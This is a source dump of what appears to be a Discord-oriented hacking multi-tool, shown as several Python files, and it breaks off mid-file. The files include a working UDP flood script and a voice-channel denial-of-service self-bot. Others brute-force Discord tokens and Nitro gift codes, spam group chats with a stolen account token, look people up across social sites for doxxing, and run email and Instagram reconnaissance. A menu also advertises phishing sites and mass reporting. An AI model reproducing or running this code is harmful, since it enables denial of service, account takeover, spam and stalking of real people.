Thread(target=self.send_packets).start() 28 | Thread(target=self.monitor_traffic).start() 29 | 30 | def stop_flood(self): 31 | self.is_active = False 32 | 33 | def send_packets(self): 34 | while self.is_active: 35 | try: 36 | self.client.sendto(self.packet_data, (self.ip, self._get_random_port())) 37 | self.sent_bytes += self.packet_length 38 | except Exception as e: 39 | print(f"{Colors.red}Error sending packet: {e}{Colors.reset}") 40 | 41 | def _get_random_port(self): 42 | return self.port if self.port else randint(1, 65535) 43 | 44 | def monitor_traffic(self): 45 | interval = 0.05 46 | start_time = time() 47 | total_bytes_sent = 0 48 | while self.is_active: 49 | sleep(interval) 50 | current_time = time() 51 | if current_time - start_time >= 1: 52 | speed_mbps = self.sent_bytes * 8 / (1024 * 1024) / (current_time - start_time) 53 | total_bytes_sent += self.sent_bytes 54 | print(f"{Colors.red}Speed: {speed_mbps:.2f} Mb/s - Total: {total_bytes_sent / (1024 * 1024 * 1024):.2f} Gb{Colors.reset}", end='\r') 55 | start_time = current_time 56 | self.sent_bytes = 0 57 | 58 | def get_input(prompt, default=None, cast_type=int): 59 | value = input(prompt) 60 | if value == '': 61 | return default 62 | try: 63 | return cast_type(value) 64 | except ValueError: 65 | print(f"{Colors.red}Invalid input. Please enter a valid {cast_type.__name__}.{Colors.reset}") 66 | return get_input(prompt, default, cast_type) 67 | 68 | def main(): 69 | clear_screen() 70 | ip = input(f"{Colors.red}Enter the target IP address: {Colors.reset}") 71 | if not ip.count('.') == 3: 72 | print(f"{Colors.red}Error! Please enter a valid IP address.{Colors.reset}") 73 | return 74 | 75 | port = get_input(f"{Colors.red}Enter the target port (or press enter to target all ports): {Colors.reset}", default=None, cast_type=int) 76 | packet_size = get_input(f"{Colors.red}Enter the packet size in bytes (default is 1250): {Colors.reset}", default=1250) 77 | thread_count = get_input(f"{Colors.red}Enter the number of threads (default is 100): {Colors.reset}", default=100) 78 | 79 | flooder = UDPFlooder(ip, port, packet_size, thread_count) 80 | 81 | try: 82 | flooder.start_flood() 83 | print(f"{Colors.red}Starting attack on {ip}:{port if port else 'all ports'}{Colors.reset}") 84 | while True: 85 | sleep(1000000) 86 | except KeyboardInterrupt: 87 | flooder.stop_flood() 88 | print(f"{Colors.red}Attack stopped. Total data sent: {flooder.sent_bytes / (1024 * 1024 * 1024):.2f} Gb{Colors.reset}") 89 | 90 | if __name__ == '__main__': 91 | main() 92 | -------------------------------------------------------------------------------- /utils/dos_voice.py: -------------------------------------------------------------------------------- 1 | import discord 2 | import asyncio 3 | import os 4 | from pystyle import Colors 5 | 6 | def clear_screen(): 7 | os.system('cls' if os.name == 'nt' else 'clear') 8 | 9 | def get_token(): 10 | clear_screen() 11 | token = input(f"{Colors.red}Enter your Discord token: {Colors.reset}") 12 | if not token: 13 | raise ValueError(f"{Colors.red}You must provide a token.{Colors.reset}") 14 | return token 15 | 16 | intents = discord.Intents.all() 17 | client = discord.Client(intents=intents, self_bot=True) 18 | 19 | async def sleep(ms): 20 | await asyncio.sleep(ms / 1000) 21 | 22 | async def main(): 23 | channel_id = input(f"{Colors.red}Enter the voice channel ID: {Colors.reset}") 24 | channel = client.get_channel(int(channel_id)) 25 | if not channel: 26 | print(f"{Colors.red}No channel found{Colors.reset}") 27 | await sleep(2000) 28 | await main() 29 | return 30 | 31 | i = 0 32 | regions = ["japan", "hongkong", "russia", "india", "brazil", "sydney", "rotterdam", "singapore"] 33 | 34 | while True: 35 | print(f"{Colors.red}DDOS Channel...{Colors.reset}") 36 | try: 37 | await channel.edit(rtc_region=regions[i]) 38 | except Exception as e: 39 | print(f"{Colors.red}Error: {e}{Colors.reset}") 40 | i = (i + 1) % len(regions) 41 | await asyncio.sleep(1) 42 | 43 | @client.event 44 | async def on_ready(): 45 | await main() 46 | 47 | token = get_token() 48 | client.run(token, bot=False) 49 | 50 | if __name__ == "__main__": 51 | clear_screen() 52 | main() 53 | -------------------------------------------------------------------------------- /utils/dox_tracker.py: -------------------------------------------------------------------------------- 1 | import webbrowser 2 | from pystyle import Colors 3 | import os 4 | 5 | def clear(): 6 | os.system('cls' if os.name == 'nt' else 'clear') 7 | 8 | 9 | def handle_error(error_message): 10 | print(f"{Colors.red}Error: {error_message}{Colors.reset}") 11 | 12 | def display_search_options(): 13 | options = f""" 14 | {Colors.red}1 - Username 15 | 2 - Last Name, First Name 16 | 3 - General Search{Colors.reset} 17 | """ 18 | print(options) 19 | 20 | def get_search_input(search_type): 21 | if search_type in ['1', '01']: 22 | return input(f"{Colors.red}Enter Username: {Colors.reset}") 23 | elif search_type in ['2', '02']: 24 | last_name = input(f"{Colors.red}Enter Last Name: {Colors.reset}") 25 | first_name = input(f"{Colors.red}Enter First Name: {Colors.reset}") 26 | return last_name, first_name 27 | elif search_type in ['3', '03']: 28 | return input(f"{Colors.red}Enter Search Query: {Colors.reset}") 29 | else: 30 | raise ValueError(f"{Colors.red}Invalid search type{Colors.reset}") 31 | 32 | def display_site_options(): 33 | options = f""" 34 | {Colors.red}1 - Facebook.com 35 | 2 - Youtube.com 36 | 3 - Twitter.com 37 | 4 - Tiktok.com 38 | 5 - Peekyou.com 39 | 6 - Tumblr.com 40 | 7 - PagesJaunes.fr{Colors.reset} 41 | """ 42 | print(options) 43 | 44 | def generate_search_url(site, search_type, search_terms): 45 | base_urls = { 46 | '1': "https://www.facebook.com/search/top/?init=quick&q=", 47 | '2': "https://www.youtube.com/results?search_query=", 48 | '3': "https://twitter.com/search?f=users&vertical=default&q=", 49 | '4': "https://www.tiktok.com/search?q=", 50 | '5': "https://www.peekyou.com/", 51 | '6': "https://www.tumblr.com/search/", 52 | '7': "https://www.pagesjaunes.fr/pagesblanches/recherche?quoiqui=" 53 | } 54 | 55 | if search_type == '2': 56 | last_name, first_name = search_terms 57 | query = f"{last_name} {first_name}" 58 | else: 59 | query = search_terms 60 | 61 | url = base_urls.get(site, '') + query 62 | if site == '5': 63 | url = f"{url}{query.replace(' ', '_')}" 64 | 65 | webbrowser.open(url) 66 | 67 | def main(): 68 | try: 69 | clear() 70 | display_search_options() 71 | search_type = input(f"{Colors.red}Select Search Type: {Colors.reset}") 72 | 73 | search_terms = get_search_input(search_type) 74 | 75 | while True: 76 | display_site_options() 77 | site_choice = input(f"{Colors.red}Select Site: {Colors.reset}") 78 | 79 | if site_choice in ['1', '2', '3', '4', '5', '6', '7']: 80 | generate_search_url(site_choice, search_type, search_terms) 81 | else: 82 | print(f"{Colors.red}Invalid site choice. Please select a valid option.{Colors.reset}") 83 | 84 | except Exception as e: 85 | handle_error(e) 86 | 87 | if __name__ == "__main__": 88 | main() 89 | -------------------------------------------------------------------------------- /utils/email_info.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from emailrep import EmailRep 3 | import re 4 | from pystyle import Colors 5 | 6 | def handle_error(error_message): 7 | print(f"{Colors.red}Error: {error_message}{Colors.reset}") 8 | 9 | def check_email_with_holehe(email): 10 | try: 11 | result = subprocess.run(['holehe', email, '--only-used'], capture_output=True, text=True) 12 | if result.returncode != 0: 13 | handle_error("An error occurred while running holehe") 14 | return 15 | 16 | output_lines = result.stdout.split('\n') 17 | 18 | print(f"\n{Colors.red}Results from Holehe for email: {email}{Colors.reset}\n") 19 | for line in output_lines: 20 | match = re.match(r"\[\+\] Email used: .* on (.*)", line) 21 | if match: 22 | print(match.group(1)) 23 | 24 | except Exception as e: 25 | handle_error(f"Error executing holehe: {str(e)}") 26 | 27 | def get_email_information_with_emailrep(email): 28 | api = EmailRep() 29 | try: 30 | response = api.query(email) 31 | if response: 32 | print(f"\n{Colors.red}Results from EmailRep.io:{Colors.reset}") 33 | print(f"{Colors.red}Email:{Colors.reset} {email}") 34 | if 'reputation' in response: 35 | print(f"{Colors.red}Reputation:{Colors.reset} {response['reputation']}") 36 | else: 37 | print(f"{Colors.red}Reputation:{Colors.reset} N/A") 38 | 39 | if 'details' in response: 40 | print(f"{Colors.red}Details:{Colors.reset} {response['details']}") 41 | if 'sources' in response['details']: 42 | print(f"{Colors.red}Sources:{Colors.reset} {response['details']['sources']}") 43 | else: 44 | print(f"{Colors.red}Sources:{Colors.reset} N/A") 45 | print(f"{Colors.red}Account creation date:{Colors.reset} {response['details'].get('date_creation', 'N/A')}") 46 | print(f"{Colors.red}Last seen:{Colors.reset} {response['details'].get('last_seen', 'N/A')}") 47 | print(f"{Colors.red}Days since last seen:{Colors.reset} {response['details'].get('days_since_last_seen', 'N/A')}") 48 | print(f"{Colors.red}Blacklist status:{Colors.reset} {response['details'].get('blacklisted', 'N/A')}") 49 | print(f"{Colors.red}Malicious status:{Colors.reset} {response['details'].get('malicious_activity', 'N/A')}") 50 | else: 51 | print(f"{Colors.red}Details:{Colors.reset} N/A") 52 | else: 53 | print(f"{Colors.red}No information found for {email}{Colors.reset}") 54 | except Exception as e: 55 | handle_error(f"Error querying EmailRep.io: {str(e)}") 56 | 57 | def main(): 58 | email = input(f"{Colors.red}Enter the email address: {Colors.reset}") 59 | check_email_with_holehe(email) 60 | get_email_information_with_emailrep(email) 61 | 62 | if __name__ == "__main__": 63 | main() 64 | -------------------------------------------------------------------------------- /utils/generator/ip_generator.py: -------------------------------------------------------------------------------- 1 | import random 2 | import threading 3 | import subprocess 4 | import sys 5 | import os 6 | 7 | def clear(): 8 | os.system('cls' if os.name == 'nt' else 'clear') 9 | 10 | 11 | def print_error(e): 12 | print(f"Error: {e}") 13 | 14 | def create_files(folder_name, valid_file_name, invalid_file_name): 15 | if not os.path.exists(folder_name): 16 | os.makedirs(folder_name) 17 | 18 | valid_file_path = os.path.join(folder_name, valid_file_name) 19 | invalid_file_path = os.path.join(folder_name, invalid_file_name) 20 | 21 | with open(valid_file_path, "w") as valid_file, open(invalid_file_path, "w") as invalid_file: 22 | pass 23 | 24 | return valid_file_path, invalid_file_path 25 | 26 | def ip_check(valid_file_path, invalid_file_path): 27 | global number_valid, number_invalid 28 | number_1 = random.randint(1, 255) 29 | number_2 = random.randint(1, 255) 30 | number_3 = random.randint(1, 255) 31 | number_4 = random.randint(1, 255) 32 | ip = f"{number_1}.{number_2}.{number_3}.{number_4}" 33 | 34 | try: 35 | if sys.platform.startswith("win"): 36 | result = subprocess.run(['ping', '-n', '1', ip], capture_output=True, text=True, timeout=1) 37 | elif sys.platform.startswith("linux"): 38 | result = subprocess.run(['ping', '-c', '1', '-W', '1', ip], capture_output=True, text=True, timeout=1) 39 | 40 | if result.returncode == 0: 41 | number_valid += 1 42 | status = "Valid" 43 | with open(valid_file_path, "a") as valid_file: 44 | valid_file.write(f"{ip}\n") 45 | else: 46 | number_invalid += 1 47 | status = "Invalid" 48 | with open(invalid_file_path, "a") as invalid_file: 49 | invalid_file.write(f"{ip}\n") 50 | 51 | print(f"Logs: {number_invalid} invalid - {number_valid} valid | Status: {status} | IP: {ip}") 52 | except Exception as e: 53 | number_invalid += 1 54 | print(f"Logs: {number_invalid} invalid - {number_valid} valid | Status: Invalid | IP: {ip}") 55 | print_error(e) 56 | 57 | def request(valid_file_path, invalid_file_path): 58 | threads = [] 59 | try: 60 | for _ in range(threads_number): 61 | t = threading.Thread(target=ip_check, args=(valid_file_path, invalid_file_path)) 62 | t.start() 63 | threads.append(t) 64 | except ValueError: 65 | print_error("Invalid number of threads") 66 | sys.exit(1) 67 | 68 | for thread in threads: 69 | thread.join() 70 | 71 | def main(): 72 | folder_name = "ip_data" 73 | valid_file_name = "ipvalids.txt" 74 | invalid_file_name = "ipinvalids.txt" 75 | 76 | valid_file_path, invalid_file_path = create_files(folder_name, valid_file_name, invalid_file_name) 77 | 78 | try: 79 | clear() 80 | global threads_number 81 | threads_number = int(input("Threads Number -> ")) 82 | except ValueError: 83 | print_error("Invalid number of threads") 84 | sys.exit(1) 85 | 86 | while True: 87 | request(valid_file_path, invalid_file_path) 88 | 89 | if __name__ == "__main__": 90 | main() 91 | -------------------------------------------------------------------------------- /utils/generator/nitro_generator.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import requests 4 | import threading 5 | 6 | 7 | def clear(): 8 | print("\033c", end="") 9 | 10 | def main(): 11 | pass 12 | 13 | def ErrorModule(e): 14 | print(f"ERROR: {e}") 15 | 16 | def generate_nitro_code(): 17 | code = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) 18 | return code 19 | 20 | def nitro_check(): 21 | code_nitro = generate_nitro_code() 22 | url_nitro = f'https://discord.gift/{code_nitro}' 23 | 24 | try: 25 | response = requests.get(f'https://discordapp.com/api/v9/entitlements/gift-codes/{code_nitro}?with_application=false&with_subscription_plan=true', timeout=1) 26 | if response.status_code == 200: 27 | print(f"GEN_VALID Status: Valid | Nitro: {url_nitro}") 28 | else: 29 | print(f"GEN_INVALID Status: Invalid | Nitro: {url_nitro}") 30 | except requests.exceptions.RequestException as e: 31 | print(f"GEN_ERROR Status: Error - {e}") 32 | 33 | def request(threads_number): 34 | threads = [] 35 | try: 36 | for _ in range(threads_number): 37 | t = threading.Thread(target=nitro_check) 38 | t.start() 39 | threads.append(t) 40 | except ValueError: 41 | print("Invalid input for threads number.") 42 | 43 | for thread in threads: 44 | thread.join() 45 | 46 | if __name__ == "__main__": 47 | try: 48 | clear() 49 | 50 | threads_number = int(input("Threads Number: ")) 51 | 52 | while True: 53 | request(threads_number) 54 | 55 | except KeyboardInterrupt: 56 | print("\nProgram interrupted. Exiting...") 57 | except Exception as e: 58 | ErrorModule(e) 59 | -------------------------------------------------------------------------------- /utils/generator/token_generator.py: -------------------------------------------------------------------------------- 1 | import string 2 | import requests 3 | import json 4 | import random 5 | import threading 6 | import os 7 | 8 | 9 | def main(): 10 | pass 11 | 12 | def clear(): 13 | print("\033c", end="") 14 | 15 | def handle_error(e): 16 | print(f"An error occurred: {e}") 17 | 18 | def create_directory_and_files(): 19 | if not os.path.exists('tokens'): 20 | os.makedirs('tokens') 21 | 22 | with open('tokens/valid_tokens.txt', 'w') as f: 23 | f.write("Valid Tokens:\n") 24 | with open('tokens/invalid_tokens.txt', 'w') as f: 25 | f.write("Invalid Tokens:\n") 26 | 27 | def write_to_file(filename, token): 28 | with open(filename, 'a') as f: 29 | f.write(f"{token}\n") 30 | 31 | try: 32 | clear() 33 | create_directory_and_files() 34 | 35 | try: 36 | threads_number = int(input("Threads Number -> ")) 37 | except ValueError: 38 | handle_error("Invalid number of threads") 39 | threads_number = 1 40 | 41 | def token_check(): 42 | first = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(random.choice([24, 26]))) 43 | second = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(6)) 44 | third = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(38)) 45 | token = f"{first}.{second}.{third}" 46 | 47 | try: 48 | user = requests.get('https://discord.com/api/v9/users/@me', headers={'Authorization': token}).json() 49 | if 'username' in user: 50 | print(f"Valid | {token}") 51 | write_to_file('tokens/valid_tokens.txt', token) 52 | else: 53 | print(f"Invalid | {token}") 54 | write_to_file('tokens/invalid_tokens.txt', token) 55 | except Exception as e: 56 | print(f"Error | {token} | Error: {e}") 57 | write_to_file('tokens/invalid_tokens.txt', token) 58 | 59 | def request(): 60 | threads = [] 61 | try: 62 | for _ in range(threads_number): 63 | t = threading.Thread(target=token_check) 64 | t.start() 65 | threads.append(t) 66 | except Exception as e: 67 | handle_error(e) 68 | 69 | for thread in threads: 70 | thread.join() 71 | 72 | while True: 73 | request() 74 | 75 | except Exception as e: 76 | handle_error(e) 77 | 78 | if __name__ == "__main__": 79 | main() -------------------------------------------------------------------------------- /utils/get_ip.py: -------------------------------------------------------------------------------- 1 | import os 2 | import socket 3 | import requests 4 | from json import JSONDecodeError 5 | from pystyle import Colors 6 | 7 | def handle_error(e): 8 | print(f"{Colors.red}Error: {e}{Colors.reset}") 9 | 10 | def clear_screen(): 11 | os.system('cls' if os.name == 'nt' else 'clear') 12 | 13 | def main(): 14 | clear_screen() 15 | 16 | try: 17 | print(f"{Colors.red}\nYour IP is not sent to anyone.{Colors.reset}") 18 | 19 | try: 20 | response = requests.get('https://api.ipify.org?format=json') 21 | ip_address_public = response.json().get('ip', 'None') 22 | except (requests.RequestException, JSONDecodeError) as e: 23 | ip_address_public = "None" 24 | handle_error(e) 25 | 26 | try: 27 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 28 | s.connect(('8.8.8.8', 80)) 29 | ip_address_local = s.getsockname()[0] 30 | s.close() 31 | except Exception as e: 32 | ip_address_local = "None" 33 | handle_error(e) 34 | 35 | try: 36 | ip_address_ipv6 = [] 37 | all_interfaces = socket.getaddrinfo(socket.gethostname(), None) 38 | for interface in all_interfaces: 39 | if interface[0] == socket.AF_INET6: 40 | ip_address_ipv6.append(interface[4][0]) 41 | ip_address_ipv6 = ' / '.join(ip_address_ipv6) if ip_address_ipv6 else "None" 42 | except Exception as e: 43 | ip_address_ipv6 = "None" 44 | handle_error(e) 45 | 46 | clear_screen() 47 | print(f"""{Colors.red} 48 | IP Public (IPv4) : {ip_address_public} 49 | IP Local (IPv4) : {ip_address_local} 50 | IPv6 : {ip_address_ipv6} 51 | """) 52 | 53 | except Exception as e: 54 | handle_error(e) 55 | 56 | if __name__ == "__main__": 57 | main() 58 | -------------------------------------------------------------------------------- /utils/groupe_spammer.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import random 3 | from time import sleep 4 | from pystyle import Colors 5 | 6 | def clear(): 7 | print("\033c", end="") 8 | 9 | def proxy(): 10 | return None 11 | 12 | def getheaders(token): 13 | return { 14 | "Authorization": token, 15 | "Content-Type": "application/json" 16 | } 17 | 18 | def handle_error(message): 19 | print(f"{Colors.red}Error: {message}{Colors.reset}") 20 | 21 | def main(): 22 | clear() 23 | print(f"{Colors.red}Returning to main menu...{Colors.reset}") 24 | 25 | def selector(token, users): 26 | clear() 27 | while True: 28 | try: 29 | response = requests.post('https://discordapp.com/api/v9/users/@me/channels', proxies=proxy(), headers=getheaders(token), json={"recipients": users}) 30 | 31 | if response.status_code in [200, 204]: 32 | print(f"{Colors.green}Created groupchat{Colors.reset}") 33 | elif response.status_code == 429: 34 | print(f"{Colors.red}Rate limited ({response.json().get('retry_after', 'N/A')}ms){Colors.reset}") 35 | else: 36 | handle_error(f"HTTP {response.status_code}") 37 | except Exception as e: 38 | handle_error(str(e)) 39 | except KeyboardInterrupt: 40 | break 41 | main() 42 | 43 | def randomizer(token, ID): 44 | while True: 45 | users = random.sample(ID, 2) 46 | try: 47 | response = requests.post('https://discordapp.com/api/v9/users/@me/channels', proxies={"http": f'{proxy()}'}, headers=getheaders(token), json={"recipients": users}) 48 | 49 | if response.status_code in [200, 204]: 50 | print(f"{Colors.red}Created groupchat{Colors.reset}") 51 | elif response.status_code == 429: 52 | print(f"{Colors.red}Rate limited ({response.json().get('retry_after', 'N/A')}ms){Colors.reset}") 53 | else: 54 | handle_error(f"HTTP {response.status_code}") 55 | except Exception as e: 56 | handle_error(str(e)) 57 | except KeyboardInterrupt: 58 | break 59 | main() 60 | 61 | clear() 62 | token = input(f"{Colors.red}Your Account Token: {Colors.reset}") 63 | 64 | print(f'\n{Colors.red}Do you want to choose user(s) yourself to groupchat spam or do you want to select randoms?{Colors.reset}') 65 | print(f''' 66 | [01] {Colors.red}Choose user(s) yourself{Colors.reset} 67 | [02] {Colors.red}Randomize the users{Colors.reset} 68 | ''') 69 | try: 70 | secondchoice = int(input(f'{Colors.red}Choice: {Colors.reset}')) 71 | except ValueError: 72 | handle_error("Invalid input. Please enter a number.") 73 | main() 74 | 75 | if secondchoice not in [1, 2]: 76 | handle_error('Invalid Second Choice') 77 | main() 78 | 79 | if secondchoice == 1: 80 | print(f'\n{Colors.red}Input the users you want to create a groupchat with (separate by , id,id2,id3){Colors.reset}') 81 | recipients = input(f'{Colors.red}Users ID: {Colors.reset}') 82 | user = recipients.split(',') 83 | if len(user) < 2: 84 | handle_error("You need to input at least two user IDs, separated by commas.") 85 | main() 86 | input(f'\n\n\n{Colors.red}Press enter to continue ("ctrl + c" at anytime to stop){Colors.reset}') 87 | selector(token, user) 88 | 89 | elif secondchoice == 2: 90 | IDs = [] 91 | try: 92 | friendIds = requests.get("https://discord.com/api/v9/users/@me/relationships", proxies={"http": f'http://{proxy()}'}, headers=getheaders(token)).json() 93 | for friend in friendIds: 94 | IDs.append(friend['id']) 95 | except Exception as e: 96 | handle_error(f"Failed to get friend IDs: {str(e)}") 97 | main() 98 | input(f'{Colors.red}Press enter to continue ("ctrl + c" at anytime to stop){Colors.reset}') 99 | randomizer(token, IDs) 100 | 101 | if __name__ == "__main__": 102 | main() 103 | -------------------------------------------------------------------------------- /utils/iban_scrapper.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import os 4 | 5 | 6 | 7 | def luhn(n): 8 | r = [int(ch) for ch in str(n)][::-1] 9 | return (sum(r[0::2]) + sum(sum(divmod(d*2, 10)) for d in r[1::2])) % 10 == 0 10 | 11 | def generate_random_iban(): 12 | country_code = "FR" 13 | check_digits = ''.join(random.choice(string.digits) for _ in range(2)) 14 | bank_code = ''.join(random.choice(string.digits) for _ in range(5)) 15 | branch_code = ''.join(random.choice(string.digits) for _ in range(5)) 16 | account_number = ''.join(random.choice(string.digits) for _ in range(11)) 17 | iban = f"{country_code}{check_digits}{bank_code}{branch_code}{account_number}" 18 | return iban 19 | 20 | def is_valid_iban(iban): 21 | return iban.startswith("FR") and len(iban) == 27 and luhn(iban[4:]) 22 | 23 | def clear(): 24 | os.system('cls' if os.name == 'nt' else 'clear') 25 | 26 | def main(): 27 | clear() 28 | 29 | folder_name = "iban_data" 30 | if not os.path.exists(folder_name): 31 | os.makedirs(folder_name) 32 | 33 | valid_file_path = os.path.join(folder_name, "valid_ibans.txt") 34 | invalid_file_path = os.path.join(folder_name, "invalid_ibans.txt") 35 | 36 | with open(valid_file_path, "a") as valid_file, open(invalid_file_path, "a") as invalid_file: 37 | try: 38 | while True: 39 | iban = generate_random_iban() 40 | is_valid = is_valid_iban(iban) 41 | status = "Valid" if is_valid else "Invalid" 42 | result = f"{status} - {iban}\n" 43 | 44 | if is_valid: 45 | valid_file.write(result) 46 | else: 47 | invalid_file.write(result) 48 | 49 | print(result.strip()) 50 | 51 | except KeyboardInterrupt: 52 | print("\nExiting...") 53 | 54 | if __name__ == "__main__": 55 | main() 56 | -------------------------------------------------------------------------------- /utils/instagram_user_info.py: -------------------------------------------------------------------------------- 1 | import instaloader 2 | import os 3 | from pystyle import Colors 4 | 5 | loader = instaloader.Instaloader() 6 | 7 | def clear(): 8 | os.system('cls' if os.name == 'nt' else 'clear') 9 | 10 | def handle_error(message): 11 | print(f"{Colors.red}Error: {message}{Colors.reset}") 12 | 13 | def get_profile_info(username): 14 | try: 15 | profile = instaloader.Profile.from_username(loader.context, username) 16 | 17 | print(f"{Colors.red}Username: {profile.username}{Colors.reset}") 18 | print(f"{Colors.red}Name: {profile.full_name}{Colors.reset}") 19 | print(f"{Colors.red}Bio: {profile.biography}{Colors.reset}") 20 | print(f"{Colors.red}Followers: {profile.followers}{Colors.reset}") 21 | print(f"{Colors.red}Following: {profile.followees}{Colors.reset}") 22 | print(f"{Colors.red}Posts: {profile.mediacount}{Colors.reset}") 23 | print(f"{Colors.red}Profile Picture URL: {profile.profile_pic_url}{Colors.reset}") 24 | 25 | for post in profile.get_posts(): 26 | print(f"{Colors.red}Post URL:{Colors.reset} {post.url}") 27 | print(f"{Colors.red}Caption:{Colors.reset} {post.caption[:100]}") 28 | print(f"{Colors.red}Likes:{Colors.reset} {post.likes}") 29 | print(f"{Colors.red}Comments:{Colors.reset} {post.comments}") 30 | print() 31 | 32 | except instaloader.exceptions.InstaloaderException as e: 33 | handle_error(str(e)) 34 | 35 | if __name__ == "__main__": 36 | clear() 37 | username = input(f"{Colors.red}Enter Instagram username: {Colors.reset}") 38 | get_profile_info(username) 39 | -------------------------------------------------------------------------------- /utils/ip_generator.py: -------------------------------------------------------------------------------- 1 | import random 2 | import threading 3 | import subprocess 4 | import sys 5 | import os 6 | 7 | def clear(): 8 | os.system('cls' if os.name == 'nt' else 'clear') 9 | 10 | 11 | def print_error(e): 12 | print(f"Error: {e}") 13 | 14 | def create_files(folder_name, valid_file_name, invalid_file_name): 15 | if not os.path.exists(folder_name): 16 | os.makedirs(folder_name) 17 | 18 | valid_file_path = os.path.join(folder_name, valid_file_name) 19 | invalid_file_path = os.path.join(folder_name, invalid_file_name) 20 | 21 | with open(valid_file_path, "w") as valid_file, open(invalid_file_path, "w") as invalid_file: 22 | pass 23 | 24 | return valid_file_path, invalid_file_path 25 | 26 | def ip_check(valid_file_path, invalid_file_path): 27 | global number_valid, number_invalid 28 | number_1 = random.randint(1, 255) 29 | number_2 = random.randint(1, 255) 30 | number_3 = random.randint(1, 255) 31 | number_4 = random.randint(1, 255) 32 | ip = f"{number_1}.{number_2}.{number_3}.{number_4}" 33 | 34 | try: 35 | if sys.platform.startswith("win"): 36 | result = subprocess.run(['ping', '-n', '1', ip], capture_output=True, text=True, timeout=1) 37 | elif sys.platform.startswith("linux"): 38 | result = subprocess.run(['ping', '-c', '1', '-W', '1', ip], capture_output=True, text=True, timeout=1) 39 | 40 | if result.returncode == 0: 41 | number_valid += 1 42 | status = "Valid" 43 | with open(valid_file_path, "a") as valid_file: 44 | valid_file.write(f"{ip}\n") 45 | else: 46 | number_invalid += 1 47 | status = "Invalid" 48 | with open(invalid_file_path, "a") as invalid_file: 49 | invalid_file.write(f"{ip}\n") 50 | 51 | print(f"Logs: {number_invalid} invalid - {number_valid} valid | Status: {status} | IP: {ip}") 52 | except Exception as e: 53 | number_invalid += 1 54 | print(f"Logs: {number_invalid} invalid - {number_valid} valid | Status: Invalid | IP: {ip}") 55 | print_error(e) 56 | 57 | def request(valid_file_path, invalid_file_path): 58 | threads = [] 59 | try: 60 | for _ in range(threads_number): 61 | t = threading.Thread(target=ip_check, args=(valid_file_path, invalid_file_path)) 62 | t.start() 63 | threads.append(t) 64 | except ValueError: 65 | print_error("Invalid number of threads") 66 | sys.exit(1) 67 | 68 | for thread in threads: 69 | thread.join() 70 | 71 | def main(): 72 | folder_name = "ip_data" 73 | valid_file_name = "ipvalids.txt" 74 | invalid_file_name = "ipinvalids.txt" 75 | 76 | valid_file_path, invalid_file_path = create_files(folder_name, valid_file_name, invalid_file_name) 77 | 78 | try: 79 | clear() 80 | global threads_number 81 | threads_number = int(input("Threads Number -> ")) 82 | except ValueError: 83 | print_error("Invalid number of threads") 84 | sys.exit(1) 85 | 86 | while True: 87 | request(valid_file_path, invalid_file_path) 88 | 89 | if __name__ == "__main__": 90 | main() 91 | -------------------------------------------------------------------------------- /utils/main2.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import time 4 | 5 | def clear(): 6 | os.system('cls' if os.name == 'nt' else 'clear') 7 | 8 | sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))) 9 | from utils.theme import set_theme, get_current_theme, themes 10 | 11 | def animated_text(text, delay=0.05): 12 | for line in text.split('\n'): 13 | for char in line: 14 | sys.stdout.write(char) 15 | sys.stdout.flush() 16 | time.sleep(delay) 17 | sys.stdout.write('\n') 18 | sys.stdout.flush() 19 | time.sleep(delay) 20 | 21 | def display_ascii_art(): 22 | current_theme = get_current_theme() 23 | art = f"""{current_theme["primary"]} 24 | ▄▄▄· ▄▄▄▄▄ • ▌ ▄ ·. • ▌ ▄ ·. ▄• ▄▌▄▄▌ ▄▄▄▄▄▪ ▄▄▄▄▄ ▄▄▌ .▄▄ · 25 | ▐█ ▀█ •██ ▪ ·██ ▐███▪ ·██ ▐███▪█▪██▌██• •██ ██ •██ ▪ ▪ ██• ▐█ ▀. 26 | ▄█▀▀█ ▐█.▪ ▄█▀▄ ▐█ ▌▐▌▐█· ▐█ ▌▐▌▐█·█▌▐█▌██▪ ▐█.▪▐█· ▐█.▪ ▄█▀▄ ▄█▀▄ ██▪ ▄▀▀▀█▄ 27 | ▐█ ▪▐▌ ▐█▌·▐█▌.▐▌██ ██▌▐█▌ ██ ██▌▐█▌▐█▄█▌▐█▌▐▌ ▐█▌·▐█▌ ▐█▌·▐█▌.▐▌▐█▌.▐▌▐█▌▐▌▐█▄▪▐█ 28 | ▀ ▀ ▀▀▀ ▀█▄▀▪▀▀ █▪▀▀▀ ▀▀ █▪▀▀▀ ▀▀▀ .▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀ ▀█▄▀▪ ▀█▄▀▪.▀▀▀ ▀▀▀▀ 29 | 30 | Developers : red.(redwxll) x blue.(escopeta4020) 31 | ────────────────────────────────────────────────────────────────────────────────────────── 32 | Version : 2.2 33 | ────────────────────────────────────────────────────────────────────────────────────────── 34 | {current_theme["primary"]}31{current_theme["reset"]} Ddos Ip {current_theme["primary"]}Prev{current_theme["reset"]} Previous Page 35 | {current_theme["primary"]}32{current_theme["reset"]} Dos Voice {current_theme["primary"]}Exit{current_theme["reset"]} Exit Tool 36 | {current_theme["primary"]}33{current_theme["reset"]} Proxy Scrappe 37 | {current_theme["primary"]}34{current_theme["reset"]} Ip Genetator 38 | {current_theme["primary"]}35{current_theme["reset"]} Site Phising 39 | {current_theme["primary"]}36{current_theme["reset"]} Roblox Cookie Information 40 | {current_theme["primary"]}37{current_theme["reset"]} Search In DataBase 41 | {current_theme["primary"]}38{current_theme["reset"]} Token Decrypt 42 | {current_theme["primary"]}39{current_theme["reset"]} Discord Mass Report 43 | 44 | {current_theme["reset"]}""" 45 | animated_text(art, delay=0) 46 | 47 | def main(): 48 | clear() 49 | display_ascii_art() 50 | 51 | if __name__ == "__main__": 52 | main() -------------------------------------------------------------------------------- /utils/nitro_generator.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import requests 4 | import threading 5 | 6 | 7 | def clear(): 8 | 